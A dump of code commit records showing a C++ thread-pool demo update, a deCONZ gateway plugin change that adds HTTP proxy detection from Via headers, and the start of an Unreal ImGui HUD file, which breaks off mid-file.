NULL)\n\t\t{\n\t\t\tint *param = &m_nThreadParam;\n\n\t\t\tm_Thread = new ThreadLib::Thread();\n\t\t\tm_Thread->Run((DWORD)GET_MEMBER_CALLBACK(CTest,ThreadFunc), (DWORD)this, (DWORD)param);\n\t\t}\n\n\t\tint *pool = &m_nThreadPoolParam;\n\n\t\tfor (int i = 0; i < 2; i++)\n\t\t\tm_ThreadPool.PushTask((DWORD)GET_MEMBER_CALLBACK(CTest,ThreadPoolFunc), (DWORD)this, (DWORD)pool);\n\n\t\tm_ThreadPool.Start(2);\n\t}\n\n\tvoid StopTest()\n\t{\n\t\tm_bStop = true;\n\t\tm_ThreadPool.Stop();\n\t}\n\n\tThreadLib::Thread *m_Thread;\n\tThreadLib::ThreadPool m_ThreadPool;\n\tbool m_bStop;\n\tint\tm_nThreadParam;\n\tint\tm_nThreadPoolParam;\n};\n\n\nint main(int argc, char* argv[])\n{\n\tCTest a;\n\ta.StartTest();\n\tgetchar();\n\ta.StopTest();\n\n\treturn 0;\n}\n\n<commit_msg>更新demo<commit_after>\/\/ demo.cpp : ̨Ӧóڵ㡣\n\/\/\n\n#include <stdio.h>\n#include <assert.h>\n#include <map>\n#include <vector>\n\n\n\n#ifdef WIN32\n#include <Windows.h>\n#ifdef _DEBUG\n#pragma comment(lib, \"..\/lib\/ThreadLib_d.lib\")\n#else\n#pragma comment(lib, \"..\/lib\/ThreadLib.lib\")\n#endif\n#else\n#include <unistd.h>\n#endif\n\n#include \"CodeAddress.h\"\n#include \"ThreadPool.h\"\n\nclass CTest\n{\npublic:\n\tCTest()\n\t\t:m_Thread(NULL)\n\t\t,m_bStop(false)\n\t\t,m_nThreadParam(5)\n\t\t,m_nThreadPoolParam(10)\n\t{\n\t}\n\n\t~CTest()\n\t{\n\t\tif (m_Thread != NULL)\n\t\t{\n\t\t\tdelete m_Thread;\n\t\t\tm_Thread = NULL;\n\t\t}\n\t}\n\n\tvoid *ThreadFunc(void* param)\n\t{\n\t\tint *pNum = (int*)param;\n\n\t\twhile (true)\n\t\t{\n\t\t\tbool bRet = m_Event.WaitEvent(1000);\n\t\t\tif (bRet)\n\t\t\t{\n\t\t\t\tprintf(\"\\n\\t thread func break\\n\");\n\t\t\t\tbreak;\n\t\t\t}else{\n\t\t\t\tprintf(\"\\n\\tthe param is a number : \\\"%i\\\"\\n\", *pNum);\n\t\t\t}\n\t\t}\n\t\treturn NULL;\n\t}\n\n\tvoid *ThreadPoolFunc(void* pParam)\n\t{\n\t\tint *pNum = (int*)pParam;\n\n\t\t{\n\t\t\tprintf(\"\\n\\tThreadPoolFunc Number is : \\\"%i\\\"\\n\", *pNum);\n\t\t}\n\n\t\treturn NULL;\n\t}\n\n\tvoid StartTest()\n\t{\n\t\tif (m_Thread == NULL)\n\t\t{\n\t\t\tint *param = &m_nThreadParam;\n\n\t\t\tm_Thread = new ThreadLib::Thread();\n\t\t\tm_Thread->Run((DWORD)GET_MEMBER_CALLBACK(CTest,ThreadFunc), (DWORD)this, (DWORD)param);\n\t\t}\n\n\t\tint *pool = &m_nThreadPoolParam;\n\n\t\tfor (int i = 0; i < 2; i++)\n\t\t\tm_ThreadPool.PushTask((DWORD)GET_MEMBER_CALLBACK(CTest,ThreadPoolFunc), (DWORD)this, (DWORD)pool);\n\n\t\tm_ThreadPool.Start(2);\n\t}\n\n\tvoid StopTest()\n\t{\n\t\tm_bStop = true;\n\t\tm_Event.Set();\n\t\tm_ThreadPool.Stop();\n\t}\n\n\tThreadLib::Thread *m_Thread;\n\tThreadLib::ThreadPool m_ThreadPool;\n\tThreadLib::Event\tm_Event;\n\tbool m_bStop;\n\tint\tm_nThreadParam;\n\tint\tm_nThreadPoolParam;\n};\n\n\nint main(int argc, char* argv[])\n{\n\tCTest a;\n\ta.StartTest();\n\tgetchar();\n\ta.StopTest();\n\n\tgetchar();\n\treturn 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\r\n * Copyright (c) 2016-2017 dresden elektronik ingenieurtechnik gmbh.\r\n * All rights reserved.\r\n *\r\n * The software in this package is published under the terms of the BSD\r\n * style license a copy of which has been included with this distribution in\r\n * the LICENSE.txt file.\r\n *\r\n *\/\r\n\r\n#include <QFile>\r\n#include <QHostInfo>\r\n#include <QNetworkAccessManager>\r\n#include <QNetworkReply>\r\n#include <QNetworkProxy>\r\n#include <QSysInfo>\r\n#include \"de_web_plugin_private.h\"\r\n#include \"json.h\"\r\n#ifdef Q_OS_LINUX\r\n#include <unistd.h>\r\n#endif\r\n\r\n\/*! Inits the internet discovery manager.\r\n *\/\r\nvoid DeRestPluginPrivate::initInternetDicovery()\r\n{\r\n Q_ASSERT(inetDiscoveryManager == 0);\r\n inetDiscoveryManager = new QNetworkAccessManager;\r\n connect(inetDiscoveryManager, SIGNAL(finished(QNetworkReply*)),\r\n this, SLOT(internetDiscoveryFinishedRequest(QNetworkReply*)));\r\n\r\n\r\n DBG_Assert(gwAnnounceInterval >= 0);\r\n if (gwAnnounceInterval < 0)\r\n {\r\n gwAnnounceInterval = 15;\r\n }\r\n\r\n gwAnnounceVital = 0;\r\n inetDiscoveryTimer = new QTimer(this);\r\n inetDiscoveryTimer->setSingleShot(false);\r\n\r\n {\r\n QList<QNetworkProxy> proxies = QNetworkProxyFactory::systemProxyForQuery(QNetworkProxyQuery(gwAnnounceUrl));\r\n\r\n if (!proxies.isEmpty())\r\n {\r\n const QNetworkProxy &proxy = proxies.first();\r\n if (proxy.type() == QNetworkProxy::HttpProxy || proxy.type() == QNetworkProxy::HttpCachingProxy)\r\n {\r\n gwProxyPort = proxy.port();\r\n gwProxyAddress = proxy.hostName();\r\n inetDiscoveryManager->setProxy(proxy);\r\n QHostInfo::lookupHost(proxy.hostName(),\r\n this, SLOT(inetProxyHostLookupDone(QHostInfo)));\r\n }\r\n }\r\n }\r\n\r\n connect(inetDiscoveryTimer, SIGNAL(timeout()),\r\n this, SLOT(internetDiscoveryTimerFired()));\r\n\r\n setInternetDiscoveryInterval(gwAnnounceInterval);\r\n\r\n \/\/ force first run\r\n if (gwAnnounceInterval > 0)\r\n {\r\n QTimer::singleShot(5000, this, SLOT(internetDiscoveryTimerFired()));\r\n }\r\n\r\n#ifdef Q_OS_LINUX\r\n \/\/ check if we run from shell script\r\n QFile pproc(QString(\"\/proc\/%1\/cmdline\").arg(getppid()));\r\n\r\n if (pproc.exists() && pproc.open(QIODevice::ReadOnly))\r\n {\r\n\r\n QByteArray name = pproc.readAll();\r\n\r\n if (name.endsWith(\".sh\"))\r\n {\r\n DBG_Printf(DBG_INFO, \"runs in shell script %s\\n\", qPrintable(name));\r\n gwRunFromShellScript = true;\r\n }\r\n else\r\n {\r\n gwRunFromShellScript = false;\r\n DBG_Printf(DBG_INFO, \"parent process %s\\n\", qPrintable(name));\r\n }\r\n }\r\n#else\r\n gwRunFromShellScript = false;\r\n#endif\r\n {\r\n QFile f(\"\/etc\/os-release\");\r\n if (f.exists() && f.open(QFile::ReadOnly))\r\n {\r\n QTextStream stream(&f);\r\n\r\n while (!stream.atEnd())\r\n {\r\n QString line = stream.readLine(200);\r\n QStringList lineLs = line.split(QChar('='));\r\n\r\n if (lineLs.size() != 2)\r\n {\r\n continue;\r\n }\r\n\r\n if (lineLs[0] == QLatin1String(\"PRETTY_NAME\"))\r\n {\r\n osPrettyName = lineLs[1];\r\n osPrettyName.remove(QChar('\"'));\r\n }\r\n }\r\n }\r\n }\r\n#ifdef ARCH_ARM\r\n { \/\/ get raspberry pi revision\r\n QFile f(\"\/proc\/cpuinfo\");\r\n if (f.exists() && f.open(QFile::ReadOnly))\r\n {\r\n QByteArray arr = f.readAll();\r\n QTextStream stream(arr);\r\n\r\n while (!stream.atEnd())\r\n {\r\n QString line = stream.readLine(200);\r\n QStringList lineLs = line.split(QChar(':'));\r\n\r\n if (lineLs.size() != 2)\r\n {\r\n continue;\r\n }\r\n\r\n if (lineLs[0].startsWith(QLatin1String(\"Revision\")))\r\n {\r\n piRevision = lineLs[1].trimmed();\r\n break;\r\n }\r\n }\r\n }\r\n }\r\n#endif \/\/ ARCH_ARM\r\n\r\n if (osPrettyName.isEmpty())\r\n {\r\n#ifdef Q_OS_WIN\r\n switch (QSysInfo::WindowsVersion)\r\n {\r\n case QSysInfo::WV_XP: osPrettyName = QLatin1String(\"WinXP\"); break;\r\n case QSysInfo::WV_WINDOWS7: osPrettyName = QLatin1String(\"Win7\"); break;\r\n case QSysInfo::WV_WINDOWS8: osPrettyName = QLatin1String(\"Win8\"); break;\r\n case QSysInfo::WV_WINDOWS8_1: osPrettyName = QLatin1String(\"Win8.1\"); break;\r\n case QSysInfo::WV_WINDOWS10: osPrettyName = QLatin1String(\"Win10\"); break;\r\n default:\r\n osPrettyName = QLatin1String(\"Win\");\r\n break;\r\n }\r\n#endif\r\n#ifdef Q_OS_OSX\r\n osPrettyName = \"Mac\";\r\n#endif\r\n#ifdef Q_OS_LINUX\r\n osPrettyName = \"Linux\";\r\n#endif\r\n }\r\n}\r\n\r\n\/*! Sets the announce interval for internet discovery.\r\n\r\n \\param minutes a value between 0..180 min\r\n \\return true on success\r\n *\/\r\nbool DeRestPluginPrivate::setInternetDiscoveryInterval(int minutes)\r\n{\r\n if ((minutes < 0) || (minutes > 180))\r\n {\r\n DBG_Printf(DBG_INFO, \"discovery ignored invalid announce interval (%d minutes)\\n\", minutes);\r\n return false;\r\n }\r\n\r\n inetDiscoveryTimer->stop();\r\n gwAnnounceInterval = minutes;\r\n\r\n if (gwAnnounceInterval > 0)\r\n {\r\n int msec = 1000 * 60 * gwAnnounceInterval;\r\n inetDiscoveryTimer->start(msec);\r\n DBG_Printf(DBG_INFO, \"discovery updated announce interval to %d minutes\\n\", minutes);\r\n }\r\n return true;\r\n}\r\n\r\n\/*! Handle announce trigger timer.\r\n *\/\r\nvoid DeRestPluginPrivate::internetDiscoveryTimerFired()\r\n{\r\n if (gwAnnounceInterval > 0)\r\n {\r\n QString str = QString(\"{ \\\"name\\\": \\\"%1\\\", \\\"mac\\\": \\\"%2\\\", \\\"internal_ip\\\":\\\"%3\\\", \\\"internal_port\\\":%4, \\\"interval\\\":%5, \\\"swversion\\\":\\\"%6\\\", \\\"fwversion\\\":\\\"%7\\\", \\\"nodecount\\\":%8, \\\"uptime\\\":%9, \\\"updatechannel\\\":\\\"%10\\\"\")\r\n .arg(gwName)\r\n .arg(gwBridgeId)\r\n .arg(gwConfig[\"ipaddress\"].toString())\r\n .arg(gwConfig[\"port\"].toDouble())\r\n .arg(gwAnnounceInterval)\r\n .arg(gwConfig[\"swversion\"].toString())\r\n .arg(gwConfig[\"fwversion\"].toString())\r\n .arg(nodes.size())\r\n .arg(getUptime())\r\n .arg(gwUpdateChannel);\r\n\r\n str.append(QString(\",\\\"os\\\": \\\"%1\\\"\").arg(osPrettyName));\r\n if (!piRevision.isEmpty())\r\n {\r\n str.append(QString(\",\\\"pirev\\\": \\\"%1\\\"\").arg(piRevision));\r\n }\r\n str.append(QChar('}'));\r\n\r\n QByteArray data(qPrintable(str));\r\n inetDiscoveryManager->put(QNetworkRequest(QUrl(gwAnnounceUrl)), data);\r\n }\r\n}\r\n\r\n\/*! Callback for finished HTTP requests.\r\n\r\n \\param reply the reply to a HTTP request\r\n *\/\r\nvoid DeRestPluginPrivate::internetDiscoveryFinishedRequest(QNetworkReply *reply)\r\n{\r\n DBG_Assert(reply != 0);\r\n\r\n if (!reply)\r\n {\r\n return;\r\n }\r\n\r\n if (reply->error() == QNetworkReply::NoError)\r\n {\r\n DBG_Printf(DBG_INFO, \"Announced to internet\\n\");\r\n#ifdef ARCH_ARM\r\n \/\/ currently this is only supported for the RaspBee Gateway\r\n internetDiscoveryExtractVersionInfo(reply);\r\n#endif \/\/ ARCH_ARM\r\n }\r\n else\r\n {\r\n DBG_Printf(DBG_INFO, \"discovery network reply error: %s\\n\", qPrintable(reply->errorString()));\r\n }\r\n\r\n reply->deleteLater();\r\n}\r\n\r\n\/*! Extracts the update channels version info about the deCONZ\/WebApp.\r\n\r\n \\param reply which holds the version info in JSON format\r\n *\/\r\nvoid DeRestPluginPrivate::internetDiscoveryExtractVersionInfo(QNetworkReply *reply)\r\n{\r\n bool ok;\r\n QByteArray content = reply->readAll();\r\n QVariant var = Json::parse(content, ok);\r\n QVariantMap map = var.toMap();\r\n\r\n if (!ok || map.isEmpty())\r\n {\r\n DBG_Printf(DBG_ERROR, \"discovery couldn't extract version info from reply\\n\");\r\n }\r\n\r\n if (map.contains(\"versions\") && (map[\"versions\"].type() == QVariant::Map))\r\n {\r\n QString version;\r\n QVariantMap versions = map[\"versions\"].toMap();\r\n\r\n if (versions.contains(gwUpdateChannel) && (versions[gwUpdateChannel].type() == QVariant::String))\r\n {\r\n version = versions[gwUpdateChannel].toString();\r\n\r\n if (!version.isEmpty())\r\n {\r\n if (gwUpdateVersion != version)\r\n {\r\n DBG_Printf(DBG_INFO, \"discovery found version %s for update channel %s\\n\", qPrintable(version), qPrintable(gwUpdateChannel));\r\n gwUpdateVersion = version;\r\n gwSwUpdateState = swUpdateState.readyToInstall;\r\n updateEtag(gwConfigEtag);\r\n }\r\n }\r\n else\r\n {\r\n DBG_Printf(DBG_ERROR, \"discovery reply doesn't contain valid version info for update channel %s\\n\", qPrintable(gwUpdateChannel));\r\n }\r\n }\r\n else\r\n {\r\n DBG_Printf(DBG_ERROR, \"discovery reply doesn't contain version info for update channel %s\\n\", qPrintable(gwUpdateChannel));\r\n }\r\n }\r\n else\r\n {\r\n DBG_Printf(DBG_ERROR, \"discovery reply doesn't contain valid version info\\n\");\r\n }\r\n}\r\n\r\n\/*! Finished Lookup of http proxy IP address.\r\n\r\n \\param host holds the proxy host info\r\n *\/\r\nvoid DeRestPluginPrivate::inetProxyHostLookupDone(const QHostInfo &host)\r\n{\r\n if (host.error() != QHostInfo::NoError)\r\n {\r\n DBG_Printf(DBG_ERROR, \"Proxy host lookup failed: %s\\n\", qPrintable(host.errorString()));\r\n return;\r\n }\r\n\r\n foreach (const QHostAddress &address, host.addresses())\r\n {\r\n\r\n QString addr = address.toString();\r\n if (address.protocol() == QAbstractSocket::IPv4Protocol &&\r\n !addr.isEmpty() && gwProxyAddress != address.toString())\r\n {\r\n DBG_Printf(DBG_INFO, \"Found proxy IP address: %s\\n\", qPrintable(address.toString()));\r\n gwProxyAddress = address.toString();\r\n updateEtag(gwConfigEtag);\r\n return;\r\n }\r\n }\r\n}\r\n<commit_msg>Proxy (2)<commit_after>\/*\r\n * Copyright (c) 2016-2017 dresden elektronik ingenieurtechnik gmbh.\r\n * All rights reserved.\r\n *\r\n * The software in this package is published under the terms of the BSD\r\n * style license a copy of which has been included with this distribution in\r\n * the LICENSE.txt file.\r\n *\r\n *\/\r\n\r\n#include <QFile>\r\n#include <QHostInfo>\r\n#include <QNetworkAccessManager>\r\n#include <QNetworkReply>\r\n#include <QNetworkProxy>\r\n#include <QSysInfo>\r\n#include \"de_web_plugin_private.h\"\r\n#include \"json.h\"\r\n#ifdef Q_OS_LINUX\r\n#include <unistd.h>\r\n#endif\r\n\r\n\/*! Inits the internet discovery manager.\r\n *\/\r\nvoid DeRestPluginPrivate::initInternetDicovery()\r\n{\r\n Q_ASSERT(inetDiscoveryManager == 0);\r\n inetDiscoveryManager = new QNetworkAccessManager;\r\n connect(inetDiscoveryManager, SIGNAL(finished(QNetworkReply*)),\r\n this, SLOT(internetDiscoveryFinishedRequest(QNetworkReply*)));\r\n\r\n\r\n DBG_Assert(gwAnnounceInterval >= 0);\r\n if (gwAnnounceInterval < 0)\r\n {\r\n gwAnnounceInterval = 15;\r\n }\r\n\r\n gwAnnounceVital = 0;\r\n inetDiscoveryTimer = new QTimer(this);\r\n inetDiscoveryTimer->setSingleShot(false);\r\n\r\n {\r\n QList<QNetworkProxy> proxies = QNetworkProxyFactory::systemProxyForQuery(QNetworkProxyQuery(gwAnnounceUrl));\r\n\r\n if (!proxies.isEmpty())\r\n {\r\n const QNetworkProxy &proxy = proxies.first();\r\n if (proxy.type() == QNetworkProxy::HttpProxy || proxy.type() == QNetworkProxy::HttpCachingProxy)\r\n {\r\n gwProxyPort = proxy.port();\r\n gwProxyAddress = proxy.hostName();\r\n inetDiscoveryManager->setProxy(proxy);\r\n QHostInfo::lookupHost(proxy.hostName(),\r\n this, SLOT(inetProxyHostLookupDone(QHostInfo)));\r\n }\r\n }\r\n }\r\n\r\n connect(inetDiscoveryTimer, SIGNAL(timeout()),\r\n this, SLOT(internetDiscoveryTimerFired()));\r\n\r\n setInternetDiscoveryInterval(gwAnnounceInterval);\r\n\r\n \/\/ force first run\r\n if (gwAnnounceInterval > 0)\r\n {\r\n QTimer::singleShot(5000, this, SLOT(internetDiscoveryTimerFired()));\r\n }\r\n\r\n#ifdef Q_OS_LINUX\r\n \/\/ check if we run from shell script\r\n QFile pproc(QString(\"\/proc\/%1\/cmdline\").arg(getppid()));\r\n\r\n if (pproc.exists() && pproc.open(QIODevice::ReadOnly))\r\n {\r\n\r\n QByteArray name = pproc.readAll();\r\n\r\n if (name.endsWith(\".sh\"))\r\n {\r\n DBG_Printf(DBG_INFO, \"runs in shell script %s\\n\", qPrintable(name));\r\n gwRunFromShellScript = true;\r\n }\r\n else\r\n {\r\n gwRunFromShellScript = false;\r\n DBG_Printf(DBG_INFO, \"parent process %s\\n\", qPrintable(name));\r\n }\r\n }\r\n#else\r\n gwRunFromShellScript = false;\r\n#endif\r\n {\r\n QFile f(\"\/etc\/os-release\");\r\n if (f.exists() && f.open(QFile::ReadOnly))\r\n {\r\n QTextStream stream(&f);\r\n\r\n while (!stream.atEnd())\r\n {\r\n QString line = stream.readLine(200);\r\n QStringList lineLs = line.split(QChar('='));\r\n\r\n if (lineLs.size() != 2)\r\n {\r\n continue;\r\n }\r\n\r\n if (lineLs[0] == QLatin1String(\"PRETTY_NAME\"))\r\n {\r\n osPrettyName = lineLs[1];\r\n osPrettyName.remove(QChar('\"'));\r\n }\r\n }\r\n }\r\n }\r\n#ifdef ARCH_ARM\r\n { \/\/ get raspberry pi revision\r\n QFile f(\"\/proc\/cpuinfo\");\r\n if (f.exists() && f.open(QFile::ReadOnly))\r\n {\r\n QByteArray arr = f.readAll();\r\n QTextStream stream(arr);\r\n\r\n while (!stream.atEnd())\r\n {\r\n QString line = stream.readLine(200);\r\n QStringList lineLs = line.split(QChar(':'));\r\n\r\n if (lineLs.size() != 2)\r\n {\r\n continue;\r\n }\r\n\r\n if (lineLs[0].startsWith(QLatin1String(\"Revision\")))\r\n {\r\n piRevision = lineLs[1].trimmed();\r\n break;\r\n }\r\n }\r\n }\r\n }\r\n#endif \/\/ ARCH_ARM\r\n\r\n if (osPrettyName.isEmpty())\r\n {\r\n#ifdef Q_OS_WIN\r\n switch (QSysInfo::WindowsVersion)\r\n {\r\n case QSysInfo::WV_XP: osPrettyName = QLatin1String(\"WinXP\"); break;\r\n case QSysInfo::WV_WINDOWS7: osPrettyName = QLatin1String(\"Win7\"); break;\r\n case QSysInfo::WV_WINDOWS8: osPrettyName = QLatin1String(\"Win8\"); break;\r\n case QSysInfo::WV_WINDOWS8_1: osPrettyName = QLatin1String(\"Win8.1\"); break;\r\n case QSysInfo::WV_WINDOWS10: osPrettyName = QLatin1String(\"Win10\"); break;\r\n default:\r\n osPrettyName = QLatin1String(\"Win\");\r\n break;\r\n }\r\n#endif\r\n#ifdef Q_OS_OSX\r\n osPrettyName = \"Mac\";\r\n#endif\r\n#ifdef Q_OS_LINUX\r\n osPrettyName = \"Linux\";\r\n#endif\r\n }\r\n}\r\n\r\n\/*! Sets the announce interval for internet discovery.\r\n\r\n \\param minutes a value between 0..180 min\r\n \\return true on success\r\n *\/\r\nbool DeRestPluginPrivate::setInternetDiscoveryInterval(int minutes)\r\n{\r\n if ((minutes < 0) || (minutes > 180))\r\n {\r\n DBG_Printf(DBG_INFO, \"discovery ignored invalid announce interval (%d minutes)\\n\", minutes);\r\n return false;\r\n }\r\n\r\n inetDiscoveryTimer->stop();\r\n gwAnnounceInterval = minutes;\r\n\r\n if (gwAnnounceInterval > 0)\r\n {\r\n int msec = 1000 * 60 * gwAnnounceInterval;\r\n inetDiscoveryTimer->start(msec);\r\n DBG_Printf(DBG_INFO, \"discovery updated announce interval to %d minutes\\n\", minutes);\r\n }\r\n return true;\r\n}\r\n\r\n\/*! Handle announce trigger timer.\r\n *\/\r\nvoid DeRestPluginPrivate::internetDiscoveryTimerFired()\r\n{\r\n if (gwAnnounceInterval > 0)\r\n {\r\n QString str = QString(\"{ \\\"name\\\": \\\"%1\\\", \\\"mac\\\": \\\"%2\\\", \\\"internal_ip\\\":\\\"%3\\\", \\\"internal_port\\\":%4, \\\"interval\\\":%5, \\\"swversion\\\":\\\"%6\\\", \\\"fwversion\\\":\\\"%7\\\", \\\"nodecount\\\":%8, \\\"uptime\\\":%9, \\\"updatechannel\\\":\\\"%10\\\"\")\r\n .arg(gwName)\r\n .arg(gwBridgeId)\r\n .arg(gwConfig[\"ipaddress\"].toString())\r\n .arg(gwConfig[\"port\"].toDouble())\r\n .arg(gwAnnounceInterval)\r\n .arg(gwConfig[\"swversion\"].toString())\r\n .arg(gwConfig[\"fwversion\"].toString())\r\n .arg(nodes.size())\r\n .arg(getUptime())\r\n .arg(gwUpdateChannel);\r\n\r\n str.append(QString(\",\\\"os\\\": \\\"%1\\\"\").arg(osPrettyName));\r\n if (!piRevision.isEmpty())\r\n {\r\n str.append(QString(\",\\\"pirev\\\": \\\"%1\\\"\").arg(piRevision));\r\n }\r\n str.append(QChar('}'));\r\n\r\n QByteArray data(qPrintable(str));\r\n inetDiscoveryManager->put(QNetworkRequest(QUrl(gwAnnounceUrl)), data);\r\n }\r\n}\r\n\r\n\/*! Callback for finished HTTP requests.\r\n\r\n \\param reply the reply to a HTTP request\r\n *\/\r\nvoid DeRestPluginPrivate::internetDiscoveryFinishedRequest(QNetworkReply *reply)\r\n{\r\n DBG_Assert(reply != 0);\r\n\r\n if (!reply)\r\n {\r\n return;\r\n }\r\n\r\n if (reply->error() == QNetworkReply::NoError)\r\n {\r\n if (gwAnnounceVital < 0)\r\n {\r\n gwAnnounceVital = 0;\r\n }\r\n gwAnnounceVital++;\r\n DBG_Printf(DBG_INFO, \"Announced to internet\\n\");\r\n#ifdef ARCH_ARM\r\n \/\/ currently this is only supported for the RaspBee Gateway\r\n internetDiscoveryExtractVersionInfo(reply);\r\n#endif \/\/ ARCH_ARM\r\n }\r\n else\r\n {\r\n DBG_Printf(DBG_INFO, \"discovery network reply error: %s\\n\", qPrintable(reply->errorString()));\r\n if (gwAnnounceVital > 0)\r\n {\r\n gwAnnounceVital = 0;\r\n }\r\n gwAnnounceVital--;\r\n }\r\n\r\n reply->deleteLater();\r\n}\r\n\r\n\/*! Extracts the update channels version info about the deCONZ\/WebApp.\r\n\r\n \\param reply which holds the version info in JSON format\r\n *\/\r\nvoid DeRestPluginPrivate::internetDiscoveryExtractVersionInfo(QNetworkReply *reply)\r\n{\r\n bool ok;\r\n QByteArray content = reply->readAll();\r\n QVariant var = Json::parse(content, ok);\r\n QVariantMap map = var.toMap();\r\n\r\n if (!ok || map.isEmpty())\r\n {\r\n DBG_Printf(DBG_ERROR, \"discovery couldn't extract version info from reply\\n\");\r\n }\r\n\r\n if (map.contains(\"versions\") && (map[\"versions\"].type() == QVariant::Map))\r\n {\r\n QString version;\r\n QVariantMap versions = map[\"versions\"].toMap();\r\n\r\n if (versions.contains(gwUpdateChannel) && (versions[gwUpdateChannel].type() == QVariant::String))\r\n {\r\n version = versions[gwUpdateChannel].toString();\r\n\r\n if (!version.isEmpty())\r\n {\r\n if (gwUpdateVersion != version)\r\n {\r\n DBG_Printf(DBG_INFO, \"discovery found version %s for update channel %s\\n\", qPrintable(version), qPrintable(gwUpdateChannel));\r\n gwUpdateVersion = version;\r\n gwSwUpdateState = swUpdateState.readyToInstall;\r\n updateEtag(gwConfigEtag);\r\n }\r\n }\r\n else\r\n {\r\n DBG_Printf(DBG_ERROR, \"discovery reply doesn't contain valid version info for update channel %s\\n\", qPrintable(gwUpdateChannel));\r\n }\r\n }\r\n else\r\n {\r\n DBG_Printf(DBG_ERROR, \"discovery reply doesn't contain version info for update channel %s\\n\", qPrintable(gwUpdateChannel));\r\n }\r\n }\r\n else\r\n {\r\n DBG_Printf(DBG_ERROR, \"discovery reply doesn't contain valid version info\\n\");\r\n }\r\n}\r\n\r\n\/*! Finished Lookup of http proxy IP address.\r\n\r\n \\param host holds the proxy host info\r\n *\/\r\nvoid DeRestPluginPrivate::inetProxyHostLookupDone(const QHostInfo &host)\r\n{\r\n if (host.error() != QHostInfo::NoError)\r\n {\r\n DBG_Printf(DBG_ERROR, \"Proxy host lookup failed: %s\\n\", qPrintable(host.errorString()));\r\n return;\r\n }\r\n\r\n foreach (const QHostAddress &address, host.addresses())\r\n {\r\n\r\n QString addr = address.toString();\r\n if (address.protocol() == QAbstractSocket::IPv4Protocol &&\r\n !addr.isEmpty() && gwProxyAddress != address.toString())\r\n {\r\n DBG_Printf(DBG_INFO, \"Found proxy IP address: %s\\n\", qPrintable(address.toString()));\r\n gwProxyAddress = address.toString();\r\n updateEtag(gwConfigEtag);\r\n return;\r\n }\r\n }\r\n}\r\n\r\n\/*! Check if a received via field contains a usable proxy.\r\n\r\n \\param via holds the proxy host info received by http request header\r\n *\/\r\nvoid DeRestPluginPrivate::inetProxyCheckHttpVia(const QString &via)\r\n{\r\n if (via.isEmpty())\r\n {\r\n return;\r\n }\r\n\r\n if (gwProxyPort != 0)\r\n {\r\n return; \/\/ already configured?\r\n }\r\n\r\n \/\/ https:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec14.html#sec14.45\r\n \/\/ 1.1 proxy.some-domain.com:3128 (squid\/2.7.STABLE9)\r\n DBG_Printf(DBG_INFO, \"Test proxy: \\t%s\\n\", qPrintable(via));\r\n\r\n for (QString &entry : via.split(',')) \/\/ there might be multiple proxied in the chain\r\n {\r\n QStringList ls = entry.split(' ');\r\n if (ls.size() < 2)\r\n {\r\n continue;\r\n }\r\n\r\n if (!ls[0].contains(QLatin1String(\"1.1\")))\r\n {\r\n continue;\r\n }\r\n\r\n QStringList recvBy = ls[1].split(':');\r\n if (ls.size() < 1) \/\/ at least host must be specified\r\n {\r\n continue;\r\n }\r\n\r\n quint16 port = 8080;\r\n if (recvBy.size() == 2) \/\/ optional\r\n {\r\n port = recvBy[1].toUInt();\r\n }\r\n\r\n DBG_Printf(DBG_INFO, \"\\t --> %s:%u\\n\", qPrintable(recvBy[0]), port);\r\n\r\n if (gwProxyPort != 0)\r\n {\r\n continue;\r\n }\r\n\r\n if (gwAnnounceVital >= 0)\r\n {\r\n continue;\r\n }\r\n\r\n gwProxyAddress = recvBy[0];\r\n gwProxyPort = port;\r\n\r\n QNetworkProxy proxy(QNetworkProxy::HttpProxy, gwProxyAddress, gwProxyPort);\r\n inetDiscoveryManager->setProxy(proxy);\r\n QHostInfo::lookupHost(proxy.hostName(),\r\n this, SLOT(inetProxyHostLookupDone(QHostInfo)));\r\n updateEtag(gwConfigEtag);\r\n\r\n if (gwAnnounceInterval > 0)\r\n {\r\n QTimer::singleShot(5000, this, SLOT(internetDiscoveryTimerFired()));\r\n }\r\n }\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2017 Sebastien Ronsse\n\n#include \"ImGuiHUD.h\"\n#include \"MyImGuiHUD.h\"\n\nconst struct FKey *KeyMap[] =\n{\n\t&EKeys::Tab,\n\t&EKeys::Left,\n\t&EKeys::Right,\n\t&EKeys::Up,\n\t&EKeys::Down,\n\t&EKeys::PageUp,\n\t&EKeys::PageDown,\n\t&EKeys::Home,\n\t&EKeys::End,\n\t&EKeys::Delete,\n\t&EKeys::BackSpace,\n\t&EKeys::Enter,\n\t&EKeys::Escape,\n\t&EKeys::A,\n\t&EKeys::C,\n\t&EKeys::V,\n\t&EKeys::X,\n\t&EKeys::Y,\n\t&EKeys::Z,\n};\n\nAMyImGuiHUD::AMyImGuiHUD() :\n\tSuper(),\n\tFontTexture(NULL)\n{\n}\n\nvoid AMyImGuiHUD::PostInitializeComponents()\n{\n\tSuper::PostInitializeComponents();\n\n\t\/\/ Setup ImGui binding\n\tImGui_ImplUE_Init();\n}\n\nvoid AMyImGuiHUD::BeginDestroy()\n{\n\tSuper::BeginDestroy();\n\n\t\/\/ Cleanup\n\tImGui_ImplUE_Shutdown();\n}\n\nvoid AMyImGuiHUD::DrawHUD()\n{\n\t\/\/ Process events\n\tImGui_ImplUE_ProcessEvent();\n\n\t\/\/ Prepare new frame\n\tImGui_ImplUE_NewFrame();\n\n\t\/\/ Rendering\n\tImGui::Render();\n}\n\nbool AMyImGuiHUD::ImGui_ImplUE_Init()\n{\n\tImGuiIO &io = ImGui::GetIO();\n\n\t\/\/ Keyboard mapping\n\tfor (int i = 0; i < ImGuiKey_COUNT; i++)\n\t\tio.KeyMap[i] = i;\n\n\t\/\/ Fill callbacks\n\tio.RenderDrawListsFn = ImGui_ImplUE_RenderDrawLists;\n\tio.SetClipboardTextFn = ImGui_ImplUE_SetClipboardText;\n\tio.GetClipboardTextFn = ImGui_ImplUE_GetClipboardText;\n\tio.UserData = this;\n\n\treturn true;\n}\n\nvoid AMyImGuiHUD::ImGui_ImplUE_Shutdown()\n{\n\tImGui_ImplUE_InvalidateDeviceObjects();\n\tImGui::Shutdown();\n}\n\nbool AMyImGuiHUD::ImGui_ImplUE_CreateDeviceObjects()\n{\n\t\/\/ Build texture atlas\n\tImGuiIO &io = ImGui::GetIO();\n\tunsigned char *pixels;\n\tint width, height;\n\tio.Fonts->GetTexDataAsRGBA32(&pixels, &width, &height);\n\n\t\/\/ Upload texture to graphics 